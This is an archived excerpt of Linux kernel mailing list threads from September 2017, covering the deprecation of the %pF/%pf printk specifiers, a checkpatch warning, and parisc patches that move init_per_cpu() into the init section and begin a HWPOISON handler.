        Benjamin Herrenschmidt <benh@kernel.crashing.org>,
        Paul Mackerras <paulus@samba.org>,
        Michael Ellerman <mpe@ellerman.id.au>,
        James Bottomley <jejb@parisc-linux.org>,
        Helge Deller <deller@gmx.de>, Petr Mladek <pmladek@suse.com>,
        Steven Rostedt <rostedt@goodmis.org>,
        Andrew Morton <akpm@linux-foundation.org>,
        Jessica Yu <jeyu@kernel.org>,
        Alexei Starovoitov <ast@kernel.org>,
        linux-ia64@vger.kernel.org, linux-parisc@vger.kernel.org,
        linuxppc-dev@lists.ozlabs.org, linux-kernel@vger.kernel.org,
        Andy Whitcroft <apw@canonical.com>
To: Sergey Senozhatsky <sergey.senozhatsky.work@gmail.com>
Original-X-From: linux-ia64-owner@vger.kernel.org Thu Sep 21 04:28:33 2017
Return-path: <linux-ia64-owner@vger.kernel.org>
Envelope-to: glpi-linux-ia64-2@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-ia64-owner@vger.kernel.org>)
	id 1durE9-0001e6-Db
	for glpi-linux-ia64-2@m.gmane.org; Thu, 21 Sep 2017 04:28:33 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1751283AbdIUC2k (ORCPT <rfc822;glpi-linux-ia64-2@m.gmane.org>);
        Wed, 20 Sep 2017 22:28:40 -0400
Original-Received: from smtprelay0114.hostedemail.com ([216.40.44.114]:41422 "EHLO
        smtprelay.hostedemail.com" rhost-flags-OK-OK-OK-FAIL)
        by vger.kernel.org with ESMTP id S1751095AbdIUC2j (ORCPT
        <rfc822;linux-ia64@vger.kernel.org>);
        Wed, 20 Sep 2017 22:28:39 -0400
Original-Received: from filter.hostedemail.com (clb03-v110.bra.tucows.net [216.40.38.60])
        by smtprelay04.hostedemail.com (Postfix) with ESMTP id B139D180A812F;
        Thu, 21 Sep 2017 02:28:38 +0000 (UTC)
X-Session-Marker: 6A6F6540706572636865732E636F6D
X-HE-Tag: dolls02_85476e8990344
X-Filterd-Recvd-Size: 2600
Original-Received: from XPS-9350 (unknown [47.151.132.55])
        (Authenticated sender: joe@perches.com)
        by omf02.hostedemail.com (Postfix) with ESMTPA;
        Thu, 21 Sep 2017 02:28:35 +0000 (UTC)
In-Reply-To: <20170921002717.GA773@jagdpanzerIV.localdomain>
X-Mailer: Evolution 3.22.6-1ubuntu1 
Original-Sender: linux-ia64-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-ia64.vger.kernel.org>
X-Mailing-List: linux-ia64@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.ia64:28147 gmane.linux.ports.parisc:27846 gmane.linux.ports.ppc64.devel:148171 gmane.linux.kernel:2574625
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.ia64/28147>

On Thu, 2017-09-21 at 09:27 +0900, Sergey Senozhatsky wrote:
> On (09/20/17 10:38), Joe Perches wrote:
> > On Thu, 2017-09-21 at 01:29 +0900, Sergey Senozhatsky wrote:
> > > We deprecated '%pF/%pf' printk specifiers, since '%pS/%ps' is now smart
> > > enough to handle function pointer dereference on platforms where such
> > > dereference is required.
> > > 
> > > checkpatch warning example:
> > > 
> > > WARNING: Use '%pS/%ps' instead. This pointer extension was deprecated: '%pF'
> > 
> > If this series is accepted,  I think this message
> > is unclear and would prefer something like:
> 
> sure, can tweak the patch.
> 
> [..]
> > 			if ($bad_extension ne "") {
> > 				my $stat_real = raw_line($linenr, 0);
> > +				my $ext_type = "Invalid";
> > +				my $use = "";
> > 				for (my $count = $linenr + 1; $count <= $lc; $count++) {
> > 					$stat_real = $stat_real . "\n" . raw_line($count, 0);
> > 				}
> > +				if ($bad_extension =~ /p[Ff]/i) {
> 
> 						I think /i is not necessary here

You are right, it's not.

--
To unsubscribe from this list: send the line "unsubscribe linux-ia64" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:40:23 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Sergey Senozhatsky <sergey.senozhatsky.work@gmail.com>
Newsgroups: gmane.linux.ports.ia64,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.kernel
Subject: Re: [RFC][PATCH v2 7/7] checkpatch: add pF/pf deprecation warning
Date: Thu, 21 Sep 2017 16:43:51 +0900
Lines: 29
Approved: news@gmane.org
Message-ID: <20170921074351.GC773@jagdpanzerIV.localdomain>
References: <20170920162910.32053-1-sergey.senozhatsky@gmail.com>
 <20170920162910.32053-8-sergey.senozhatsky@gmail.com>
 <1505929138.12311.5.camel@perches.com>
 <ddf9b54b-34d9-c1e2-e34f-a1cc055b8cf7@gmx.de>
 <1505931868.12311.7.camel@perches.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: blaine.gmane.org 1505979837 8018 195.159.176.226 (21 Sep 2017 07:43:57 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Thu, 21 Sep 2017 07:43:57 +0000 (UTC)
User-Agent: Mutt/1.9.0 (2017-09-02)
Cc: Sergey Senozhatsky <sergey.senozhatsky@gmail.com>,
        Tony Luck <tony.luck@intel.com>,
        Fenghua Yu <fenghua.yu@intel.com>,
        Benjamin Herrenschmidt <benh@kernel.crashing.org>,
        Paul Mackerras <paulus@samba.org>,
        Michael Ellerman <mpe@ellerman.id.au>,
        James Bottomley <jejb@parisc-linux.org>,
        Petr Mladek <pmladek@suse.com>,
        Steven Rostedt <rostedt@goodmis.org>,
        Andrew Morton <akpm@linux-foundation.org>,
        Jessica Yu <jeyu@kernel.org>,
        Alexei Starovoitov <ast@kernel.org>,
        linux-ia64@vger.kernel.org, linux-parisc@vger.kernel.org,
        linuxppc-dev@lists.ozlabs.org, linux-kernel@vger.kernel.org,
        Andy Whitcroft <apw@canonical.com>
To: Helge Deller <deller@gmx.de>, Joe Perches <joe@perches.com>
Original-X-From: linux-ia64-owner@vger.kernel.org Thu Sep 21 09:43:51 2017
Return-path: <linux-ia64-owner@vger.kernel.org>
Envelope-to: glpi-linux-ia64-2@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-ia64-owner@vger.kernel.org>)
	id 1duw9G-0001gb-Gz
	for glpi-linux-ia64-2@m.gmane.org; Thu, 21 Sep 2017 09:43:50 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1751524AbdIUHn5 (ORCPT <rfc822;glpi-linux-ia64-2@m.gmane.org>);
        Thu, 21 Sep 2017 03:43:57 -0400
Original-Received: from mail-pg0-f66.google.com ([74.125.83.66]:36158 "EHLO
        mail-pg0-f66.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1751485AbdIUHn4 (ORCPT
        <rfc822;linux-ia64@vger.kernel.org>); Thu, 21 Sep 2017 03:43:56 -0400
Original-Received: by mail-pg0-f66.google.com with SMTP id d8so3014549pgt.3;
        Thu, 21 Sep 2017 00:43:56 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20161025;
        h=date:from:to:cc:subject:message-id:references:mime-version
         :content-disposition:in-reply-to:user-agent;
        bh=HCKGuM2ujZ3yf8B81lLxKKJlzo/BpxDrR8VGOZPZJBY=;
        b=sOVslokd4QhHL0s+b6+tMA1Y36p542jyuFCBHin6ZHRaC5qwADT29NfEWEsl3UcPHk
         OSCVVgpc8isp4FsAFuxCZ693zfILUAwiSdugd/c3m6LRdmXGIy8Pnd0+xmK1hsQR17u2
         5AuLDh2s+0j1HxMYtZLvLUyGFgCcAQkFAf/mVEDVm5GaJIOWI97EtfzGFUayuEmWTybj
         leVzLrm0wEc/STr7y126vJPWV9ez/SA4fooDaAJ5vSquzCaLYh7a5uL+ULVKXPDArn2t
         2uxww9PGukJBZmkqi2Ks5tEM1zUNIiy2G8FMQMgTKKumT7aP1F9qHp1JGpnTfSMXfET2
         hVdg==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20161025;
        h=x-gm-message-state:date:from:to:cc:subject:message-id:references
         :mime-version:content-disposition:in-reply-to:user-agent;
        bh=HCKGuM2ujZ3yf8B81lLxKKJlzo/BpxDrR8VGOZPZJBY=;
        b=geMjY/3DUgiHddkEP5g/IsPlP26vK319eVAU8KWJDhXxWfDqpwHnhO8n+yZEw2Ibkr
         KXeE8WrRahBY07SupWIfOMhERP2OUR1SVON9jE25QTzVAnO80q9IWrTLxLHZtdDcjph2
         9ofKM/Sqgv8i3Xl4mUjogeN1PodRey58WugeKHEFGdN1b86ArnrGaM2vcwYW3/2rziJW
         6qSGmxsnzP+QKbXTBE6B1R+Y8op33/bQe8Hm02JdyzblxtiMJOz7xM7LgqGmPwysMfh5
         pG2tpYfb6rFXpufoGb0j6IW5umlqKjCUUAnP94do1PmhiQperIfDps231RgxrUNL6GE6
         afHg==
X-Gm-Message-State: AHPjjUg9AuF5AX2qSCkjNg621c8A90x/8YZ6sAT9Ihz+vVT/C/Z57n1Q
        W2eMlLFYUbvU3qlkaQP11P0=
X-Google-Smtp-Source: AOwi7QDgDFORhfeBuwjEyGmiT2h16DxBcGG05EKlZUElbhCgUO8qSnTjz3HlxdLD64vnM3Y026lCpQ==
X-Received: by 10.98.95.1 with SMTP id t1mr4769740pfb.217.1505979835860;
        Thu, 21 Sep 2017 00:43:55 -0700 (PDT)
Original-Received: from localhost ([175.223.27.85])
        by smtp.gmail.com with ESMTPSA id m5sm1699845pfg.12.2017.09.21.00.43.53
        (version=TLS1_2 cipher=ECDHE-RSA-CHACHA20-POLY1305 bits=256/256);
        Thu, 21 Sep 2017 00:43:54 -0700 (PDT)
Content-Disposition: inline
In-Reply-To: <1505931868.12311.7.camel@perches.com>
Original-Sender: linux-ia64-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-ia64.vger.kernel.org>
X-Mailing-List: linux-ia64@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.ia64:28148 gmane.linux.ports.parisc:27847 gmane.linux.ports.ppc64.devel:148177 gmane.linux.kernel:2574721
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.ia64/28148>

On (09/20/17 11:24), Joe Perches wrote:
> On Wed, 2017-09-20 at 19:53 +0200, Helge Deller wrote:
[..]
> > Is it worth to mention, that it's still needed in older kernels?
> > Just in case some patch get's backported.

good question.

> I think probably not.
> 
> There are relatively few references and
> modifications are unlikely to be backported.

I tend to agree.

unlikely anyone backports printk message updates. I have quickly glanced
through stable-4.9 and haven't seen such backports. well, may be there
are some.

can tweak the warning a bit, probably. e.g. "if you are planning to
backport your change to kernels older than 4.14 then ignore this
warning". but not sure if it's worth it.

	-ss
--
To unsubscribe from this list: send the line "unsubscribe linux-ia64" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:40:23 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Sergey Senozhatsky <sergey.senozhatsky.work@gmail.com>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.ia64,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel
Subject: Re: [RFC][PATCH v2 6/7] symbol lookup: use new kernel and module
 dereference functions
Date: Thu, 21 Sep 2017 18:38:08 +0900
Lines: 44
Approved: news@gmane.org
Message-ID: <20170921093808.GE773@jagdpanzerIV.localdomain>
References: <20170920162910.32053-1-sergey.senozhatsky@gmail.com>
 <20170920162910.32053-7-sergey.senozhatsky@gmail.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: blaine.gmane.org 1505986700 19854 195.159.176.226 (21 Sep 2017 09:38:20 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Thu, 21 Sep 2017 09:38:20 +0000 (UTC)
User-Agent: Mutt/1.9.0 (2017-09-02)
Cc: Tony Luck <tony.luck@intel.com>, Fenghua Yu <fenghua.yu@intel.com>,
        Benjamin Herrenschmidt <benh@kernel.crashing.org>,
        Paul Mackerras <paulus@samba.org>,
        Michael Ellerman <mpe@ellerman.id.au>,
        James Bottomley <jejb@parisc-linux.org>,
        Helge Deller <deller@gmx.de>, Petr Mladek <pmladek@suse.com>,
        Steven Rostedt <rostedt@goodmis.org>,
        Andrew Morton <akpm@linux-foundation.org>,
        Jessica Yu <jeyu@kernel.org>,
        Alexei Starovoitov <ast@kernel.org>,
        linux-ia64@vger.kernel.org, linux-parisc@vger.kernel.org,
        linuxppc-dev@lists.ozlabs.org, linux-kernel@vger.kernel.org
To: Sergey Senozhatsky <sergey.senozhatsky@gmail.com>
Original-X-From: linux-kernel-owner@vger.kernel.org Thu Sep 21 11:38:12 2017
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1duxvu-0004fj-0F
	for glk-linux-kernel-3@m.gmane.org; Thu, 21 Sep 2017 11:38:10 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1751785AbdIUJiP (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
        Thu, 21 Sep 2017 05:38:15 -0400
Original-Received: from mail-pf0-f178.google.com ([209.85.192.178]:44853 "EHLO
        mail-pf0-f178.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1751550AbdIUJiN (ORCPT
        <rfc822;linux-kernel@vger.kernel.org>);
        Thu, 21 Sep 2017 05:38:13 -0400
Original-Received: by mail-pf0-f178.google.com with SMTP id e1so2971210pfk.1;
        Thu, 21 Sep 2017 02:38:13 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20161025;
        h=date:from:to:cc:subject:message-id:references:mime-version
         :content-disposition:in-reply-to:user-agent;
        bh=/1oY/oWe/NRL+2LrEI6oOqVuSHzJuGiSnCgOroX+f0s=;
        b=sCGGAmmqV7iWEkT+zZFF3LLQNE3nCPG3cC+Co8pK+Uza4OcYSThMzMnf2sxls/htaL
         6+zlxmzD4CdQtHfgRi+5jtIyIEob+q9QKSnmhpzIKsAtPYTfEzimr5WiDXCpjfUOmxzc
         GCUD+drA87dbsXhkO/eZmHU7RHUtUymnukg5PH4ONoCjH7+Ne+p4iSSlVo4dSuGeUF4R
         ZZ8Gurss74B0ppAVgCPswQ2AlIzSi3uvkyXCa8A2E8kabcOMx60O/zkpYs0lmP+PY2QM
         YGzlJb6VlQin+QnQF+t0qI5BCq2/x59TDr+GhcF4RVtqBbSwojzD7YTL0Ups1B6i+BWC
         3f1w==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20161025;
        h=x-gm-message-state:date:from:to:cc:subject:message-id:references
         :mime-version:content-disposition:in-reply-to:user-agent;
        bh=/1oY/oWe/NRL+2LrEI6oOqVuSHzJuGiSnCgOroX+f0s=;
        b=j3AVxhOADPwlEoECIPSFWrft0Kh7Xq+amIfXVGkYC/qf0dFbyZIwcT0vWtWV0Qwj+b
         CHmMhUZnSA95Cyg5Xoi++8fFSoZzTHVsfN020tFuiKnYWmretnlDBpVnHtspIUCJKioA
         UM2J174e8iKoxDZsHii9Ddu10o6TfK2dZAnZwA0/xEoU7gSHR7qEGnb4G8Wm/Xbaj8s0
         Xv1b0fX3FKPUB9cq0SZP6N6G0btFYbhweD6jGqSysKjSalPhTPuhX+o4ecnCiA63krQ9
         5n5cAoN4xo4qN4bz+SaZmlGtNl8fRbju+tI01lPKhST6kTEY29qsoW8exv1T4RVt7D8o
         Vi7Q==
X-Gm-Message-State: AHPjjUhumggVsV+Ra3NblCxWNgDM8NZP3tVmcw9UE1F61+DraY3P6mL7
        9Z8o8BVPwc/5wFCG7pk4WhM=
X-Google-Smtp-Source: AOwi7QBsTWS8y8UGOiF0O8i/NmBv8US/o5uqzCJMM0OSbaycrA1McOsW0mCFt/KyDEQWB+2V2/ceog==
X-Received: by 10.98.62.93 with SMTP id l90mr5190386pfa.32.1505986692727;
        Thu, 21 Sep 2017 02:38:12 -0700 (PDT)
Original-Received: from localhost ([175.223.27.85])
        by smtp.gmail.com with ESMTPSA id h70sm1847939pfc.115.2017.09.21.02.38.10
        (version=TLS1_2 cipher=ECDHE-RSA-CHACHA20-POLY1305 bits=256/256);
        Thu, 21 Sep 2017 02:38:11 -0700 (PDT)
Content-Disposition: inline
In-Reply-To: <20170920162910.32053-7-sergey.senozhatsky@gmail.com>
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2574796 gmane.linux.ports.ia64:28149 gmane.linux.ports.parisc:27848 gmane.linux.ports.ppc64.devel:148183
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2574796>

On (09/21/17 01:29), Sergey Senozhatsky wrote:
[..]
> +	%pS	versatile_init+0x0/0x110
> +	%ps	versatile_init
>  	%pF	versatile_init+0x0/0x110
>  	%pf	versatile_init
> -	%pS	versatile_init+0x0/0x110
>  	%pSR	versatile_init+0x9/0x110
>  		(with __builtin_extract_return_addr() translation)
> -	%ps	versatile_init
>  	%pB	prev_fn_of_versatile_init+0x88/0x88
>  
> -The ``F`` and ``f`` specifiers are for printing function pointers,
> -for example, f->func, &gettimeofday. They have the same result as
> -``S`` and ``s`` specifiers. But they do an extra conversion on
> -ia64, ppc64 and parisc64 architectures where the function pointers
> -are actually function descriptors.
> -
>  The ``S`` and ``s`` specifiers can be used for printing symbols
>  from direct addresses, for example, __builtin_return_address(0),
>  (void *)regs->ip. They result in the symbol name with (``S``) or
>  without (``s``) offsets. If KALLSYMS are disabled then the symbol
>  address is printed instead.
>  
> +Note, that the ``F`` and ``f`` specifiers are identical to ``S`` (``s``)
> +and thus deprecated.

JFI,

I have updated this part. it's probably too early to completely
wipe out pF/pf info.

the updated Doc goes like this:

+Note, that the ``F`` and ``f`` specifiers are identical to ``S`` (``s``)
+and thus deprecated. We have ``F`` and ``f`` because on ia64, ppc64 and
+parisc64 function pointers are indirect and, in fact, are function
+descriptors, which require additional dereferencing before we can lookup
+the symbol. As of now, ``S`` and ``s`` perform dereferencing on those
+platforms (when needed), so ``F`` and ``f`` exist for compatibility
+reasons only.

	-ss


From - Thu Nov 08 21:40:24 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [PATCH] parisc: Move init_per_cpu() into init section
Date: Thu, 21 Sep 2017 21:22:27 +0200
Lines: 62
Approved: news@gmane.org
Message-ID: <20170921192227.GA1135@p100.box>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: blaine.gmane.org 1506021760 29052 195.159.176.226 (21 Sep 2017 19:22:40 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Thu, 21 Sep 2017 19:22:40 +0000 (UTC)
User-Agent: Mutt/1.5.23 (2014-03-12)
To: linux-parisc@vger.kernel.org,
        James Bottomley <James.Bottomley@HansenPartnership.com>,
        John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Sep 21 21:22:33 2017
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1dv73O-00072j-UG
	for glpp-linux-parisc@m.gmane.org; Thu, 21 Sep 2017 21:22:31 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1751697AbdIUTWi (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Thu, 21 Sep 2017 15:22:38 -0400
Original-Received: from mout.gmx.net ([212.227.15.15]:62992 "EHLO mout.gmx.net"
        rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S1751636AbdIUTWh (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
        Thu, 21 Sep 2017 15:22:37 -0400
Original-Received: from p100.box ([91.36.202.100]) by mail.gmx.com (mrgmx003
 [212.227.17.190]) with ESMTPSA (Nemesis) id 0LmbZb-1dMsZ42PD9-00aAo5; Thu, 21
 Sep 2017 21:22:29 +0200
Content-Disposition: inline
X-Provags-ID: V03:K0:Z/paWdLQ0J5BiB3Rg+G37Kb7TfPx0O31JPnqe9Fz5YcL+IzhOrH
 Ftkr2B700OwCYTbvy9p3qkh05BPaGfcsB9USrA5M2btFcqtCZ8m3Yz5zM/JVMBsa4h5L4kB
 W0pBvtPfb21ca/yPRXrHXMDEaxyOt9FoKCA6AhAu6yh6dFQh0pyhmuISruGtGLyosNgIYD9
 QapMhyewygrtWvozzzynQ==
X-UI-Out-Filterresults: notjunk:1;V01:K0:VTzzQ/VTTJ4=:DnjV5U6S6JddXMIAiP9NhZ
 agEC6Q4fu0HfTsXTgFWBQbjXGeSMeMLLVK50JtU6KIJ6K89eadlfn8mGH9nfvg3CtNniOfEsu
 w7iwnaxPTP+C+aal4G4RVxMXuS7FGu7afcWYgtywoa6F0Go5qpEmlecKjjFHGNOeWBua87H4r
 xq4PpOMRXRxgkl4rg1mJvj1iEP5kOESxRklzF5FkdSbTEezKqMWkqNX15fdT8mC8FUu1BiYGm
 DwwTweLsdS3TMxfqxHXCDbijtlRN53JG3y2YAvFQJJJnbuioe1f9sAulqUQPc5fJoyIAkWMya
 o7cffUdlAY3/fc68l24QuVIiDVf7xBBuzzEBY52rfMaddsRC0VFzQMN9usoQe2fUzw/CNY5Tw
 FnTXVJ3wwfxOHKI5iAoowe2DRlu43JJEazYdRGx1dTlYoT6rAvHVUu02SVdfNhlwYt0toFGaT
 SCBlG3sKCJ2CPCVLxKDTKYjaOgj8Sks2uq/z/0lG5tAtye2kCxIMbycqFllV7gUzAFDIBDRiS
 Rm4RNnr5TnXwuIqWNnytgTnADrz2kJi+RgIDM8oVhbDqi5+rL1zHrENWXagcYG2uacfubVpXk
 N7pt1VYa87vdjLNIZY5IseYqoLR2ty5zGIFthjEuZly/R9mRk+6HRdXZcGRLCgIY5ZOiJLaKu
 zCU6IZ96XDurjM5SwSaTwSIyE6b1oxu2YuxO2bE6KsYadNx576OPCy83rE21fe/Qkf3DVM22j
 qazP0rieCX4Q9GT0ogKa1ZGaCW1IOgKqsxV+D2Ou0EIf6DpjNNqq0YGLfqhAAqT9Au5kjM4A 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:27849
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/27849>

Signed-off-by: Helge Deller <deller@gmx.de>

diff --git a/arch/parisc/include/asm/smp.h b/arch/parisc/include/asm/smp.h
index a5dc9066c6d8..ad9c9c3b4136 100644
--- a/arch/parisc/include/asm/smp.h
+++ b/arch/parisc/include/asm/smp.h
@@ -1,6 +1,7 @@
 #ifndef __ASM_SMP_H
 #define __ASM_SMP_H
 
+extern int init_per_cpu(int cpuid);
 
 #if defined(CONFIG_SMP)
 
diff --git a/arch/parisc/kernel/processor.c b/arch/parisc/kernel/processor.c
index ad7310029fe0..45cc65902fce 100644
--- a/arch/parisc/kernel/processor.c
+++ b/arch/parisc/kernel/processor.c
@@ -320,7 +320,7 @@ void __init collect_boot_cpu_data(void)
  *
  * o Enable CPU profiling hooks.
  */
-int init_per_cpu(int cpunum)
+int __init init_per_cpu(int cpunum)
 {
 	int ret;
 	struct pdc_coproc_cfg coproc_cfg;
diff --git a/arch/parisc/kernel/setup.c b/arch/parisc/kernel/setup.c
index fd751b9ae9d9..47cdba759e30 100644
--- a/arch/parisc/kernel/setup.c
+++ b/arch/parisc/kernel/setup.c
@@ -116,7 +116,6 @@ void __init dma_ops_init(void)
 }
 #endif
 
-extern int init_per_cpu(int cpuid);
 extern void collect_boot_cpu_data(void);
 
 void __init setup_arch(char **cmdline_p)
diff --git a/arch/parisc/kernel/smp.c b/arch/parisc/kernel/smp.c
index 63365106ea19..30c28ab14540 100644
--- a/arch/parisc/kernel/smp.c
+++ b/arch/parisc/kernel/smp.c
@@ -255,12 +255,11 @@ void arch_send_call_function_single_ipi(int cpu)
 static void __init
 smp_cpu_init(int cpunum)
 {
-	extern int init_per_cpu(int);  /* arch/parisc/kernel/processor.c */
 	extern void init_IRQ(void);    /* arch/parisc/kernel/irq.c */
 	extern void start_cpu_itimer(void); /* arch/parisc/kernel/time.c */
 
 	/* Set modes and Enable floating point coprocessor */
-	(void) init_per_cpu(cpunum);
+	init_per_cpu(cpunum);
 
 	disable_sr_hashing();
 
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:40:24 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [PATCH] parisc: Add HWPOISON page fault handler code
Date: Thu, 21 Sep 2017 21:52:08 +0200
Lines: 81
Approved: news@gmane.org
Message-ID: <20170921195208.GA15588@p100.box>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: blaine.gmane.org 1506023537 12230 195.159.176.226 (21 Sep 2017 19:52:17 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Thu, 21 Sep 2017 19:52:17 +0000 (UTC)
User-Agent: Mutt/1.5.23 (2014-03-12)
To: linux-parisc@vger.kernel.org,
        James Bottomley <James.Bottomley@HansenPartnership.com>,
        John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Sep 21 21:52:12 2017
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1dv7W7-00015B-CK
	for glpp-linux-parisc@m.gmane.org; Thu, 21 Sep 2017 21:52:11 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1751763AbdIUTwT (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Thu, 21 Sep 2017 15:52:19 -0400
Original-Received: from mout.gmx.net ([212.227.17.20]:54030 "EHLO mout.gmx.net"
        rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S1751754AbdIUTwS (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
        Thu, 21 Sep 2017 15:52:18 -0400
Original-Received: from p100.box ([91.36.202.100]) by mail.gmx.com (mrgmx101
 [212.227.17.168]) with ESMTPSA (Nemesis) id 0MMXVC-1e19Of0itS-008LM2; Thu, 21
 Sep 2017 21:52:11 +0200
Content-Disposition: inline
X-Provags-ID: V03:K0:IjRlkDesLqWXNAodS91aXEVvNgQWo3zQRMPAILt2SEQRKrwcWkP
 z8LlA7/uaUCiI14+fiiShqf/xdJMqIWfRojJ8vx9coRYQdtuE5Gu5i+bL6EhtDnE0mL0zW1
 vcwfWLBC3lSLFnPT23oH0apHole9LT9Bb5PKTwKZjFtiQfJOu22SLxvNz5isasYXP6q3gMz
 oqPgicQfkycFS0V+ygwqQ==
X-UI-Out-Filterresults: notjunk:1;V01:K0:+AAyFDcdiPc=:+HwdpG0tplla1iCkt91Eic
 a7gYJaqBzf1UE3VjfxX8HN41xM116Qu8szuRnhO1wr5x1Uu/m3BS6dt+fim2Ab5rXZTyITVP0
 H+3uVpq8eU/MRdCOG/WmFnEUhTFud+tRKIaXSyvKW2dYniR9pwpANf2LUy6/M/Fyi55tEPitZ
 jHEWCkfzevzQyR06dqIj6SUYv+7rYjwJapWLnQUahXI6OtUNTsa9xEK4W9IsrYOjKhlK74wkH
 mKzcFqeZjuR1/SNkw5kHe3iUzPuJhT2nJB2kFDBDpIKp+BFcPC/Gg7x7X+ueqRioI5iRDNOTw
 3T76+frT7stwhm4Id8aPXJAL9v79+K0f9XsZfLV2BwYcIY+HqItCcXg9S6tv0hoW+pci3Vv1K
 D4a0xtZoHNtuRgF+SygbYBfr5x0/IE2oSrJREoLFFerCjboEHYue8y/xdUdJ64kYqk+L4l+/6
 viNpurrQ5C2SXJ6FcbiWrLWHfRHWKDG9X38WRO0wT+mK7G3JRF8JpFWO/GJYh9YiHPYBJQwuY
 KtVx60Uu5MRJsx881dPtSkcaHw0TMCAqjQrYBzR739DGwLikUapRjqBySKZYt5Bdc4MiOynN+
